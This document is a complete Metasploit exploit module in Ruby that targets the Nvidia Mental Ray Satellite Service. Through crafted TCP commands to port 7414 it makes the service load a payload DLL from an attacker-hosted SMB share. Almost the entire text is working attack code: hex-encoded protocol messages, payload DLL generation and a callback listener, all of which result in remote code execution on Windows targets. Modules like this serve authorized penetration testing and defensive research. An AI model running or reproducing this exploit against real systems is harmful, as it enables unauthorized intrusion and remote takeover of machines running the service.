Nvidia Mental Ray Satellite Service Arbitrary DLL Injection

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Nvidia Mental Ray Satellite Service Arbitrary DLL Injection',
      'Description' => %q{
        The Nvidia Mental Ray Satellite Service listens for control commands on port 7414.
        When it receives the command to load a DLL (via an UNC path) it will try to
        connect back to the host on port 7514. If a TCP connection is successful it will
        then attempt to load the DLL. This module has been tested successfully on Win7 x64
        with Nvidia Mental Ray Satellite Service v3.11.1.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Luigi Auriemma', # Discovery
          'Donato Ferrante', # Discovery
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
        ],
      'References' =>
        [
          [ 'URL', 'http://revuln.com/files/ReVuln_NVIDIA_mental_ray.pdf' ]
        ],
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows x64', { 'Arch' => [ ARCH_X86_64 ] } ]
        ],
      'Privileged' => true,
      'DisclosureDate' => 'Dec 10 2013',
      'DefaultTarget' => 0))

    register_options([
      Opt::RPORT(7414),
      OptInt.new('LISTEN_PORT', [ true, 'The port to catch the return connection on', 7514]),
      OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
    ], self.class)

    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
  end

  def primer
    self.file_contents = generate_payload_dll
    print_status("File available on #{unc}...")

    print_status("Trying to execute remote DLL...")
    send_exploit
  end

  def setup
    super

    # These lengths are required, although we specify the UNC path
    # length in the exploit, the header probably has another length
    # value we don't adjust.
    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
    self.share = Rex::Text.rand_text_alpha(5)
  end

  def exploit
    begin
      Timeout.timeout(datastore['SMB_DELAY']) { super }
    rescue Timeout::Error
      # do nothing... just finish exploit and stop smb server...
    end
  end

  def send_exploit
    # No idea what most of this hello is...
    hello = "6c72696d3030303030203030303031203136333932203037353134203030303031203039303936203030303030207261796d7"
    hello << "36734302d332e31312e312e345f5f5f5f5f5f5f5f5f5f5f5f0020007c5241593331317c53554231000100000000e90300000"
    hello << "0000000ffffffffffffffff1807000000000000dc10d7fdfe0700003018a40500000000e73654fffe070000c0afcd0000000"
    hello << "000ffffffffffffffffffffffffffffffff18070000000000007014a70100000000763754fffe0700000000000000000000f"
    hello << "035ae01000000003036ae0100000000da2152fffe0700003036ae0100000000a33754fffe070000000000000000000000000"
    hello << "00000000000ffffffffffffffffffffffffffffffff3036ae0100000000c40e53fffe0700007014a70100000000180700000"
    hello << "0000000000000000000000000000000000000000000000000000000020000000000000001000000000000005035440400000"
    hello << "0008013a7010000000090b3cd00000000001807000000000000b929d80300000000000000000000000018070000000000009"
    hello << "0b3cd000000000010cda701000000000000000000000000010100000000000000b3cd0000000000060000000000000066000"
    hello << "200000000000000020000000a0008000000a01a0fe73d00cf118ca300804034ae01000000000100000000000000000000000"
    hello << "0000000030000000a000000"

    hello = Rex::Text.hex_to_raw(hello)

    # Start of command - again no idea what this is...
    load_dll =  Rex::Text.hex_to_raw("4ed32cb1740500000000000001130013")

    # Length of path string including null byte
    load_dll << [unc.length + 1].pack('V')

    # Data type?
    load_dll << [2].pack('V')

    # Assembly Load?
    load_dll << "AL"
    load_dll << unc << "\x00"

    # Some padding at the end...
    load_dll << rand_text_alpha(1386 - unc.length)

    # We have to start a second listening port although we dont actually care about
    # handling client connections. It appears as long as the service can make a
    # connection its happy and will move onto the DLL loading
    create_listen_port
    vprint_status("Connecting to target and sending commands")
    connect
    sock.put(hello)
    sock.put(load_dll)
    print_status("Instructed the service to load #{unc}...")
  end

  def create_listen_port
    port = datastore['LISTEN_PORT']

    comm = datastore['ListenerComm']
    if comm == "local"
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    @listener = Rex::Socket::TcpServer.create(
        'LocalHost' => datastore['SRVHOST'],
        'LocalPort' => port,
        'Comm'      => comm,
        'Context'   => {
          'Msf'        => framework,
          'MsfExploit' => self
        }
    )

    # Register callbacks
    @listener.on_client_connect_proc = proc { |cli|
      add_socket(cli)
      begin
        print_status("#{cli.peerhost.ljust(16)} #{shortname} - Connected to Listener on #{port}...")
      ensure
        # Need to close the socket for the SMB request to be
        # initiated...
        remove_socket(cli)
      end
    }

    @listener.start
    vprint_status("Started listening on TCP port #{port}")
  end

  def cleanup
    super
    return unless @listener

    begin
      @listener.deref if @listener.is_a?(Rex::Service)
      if @listener.is_a?(Rex::Socket)
        @listener.close
        @listener.stop
      end
      @listener = nil
    rescue ::Exception
    end
  end
end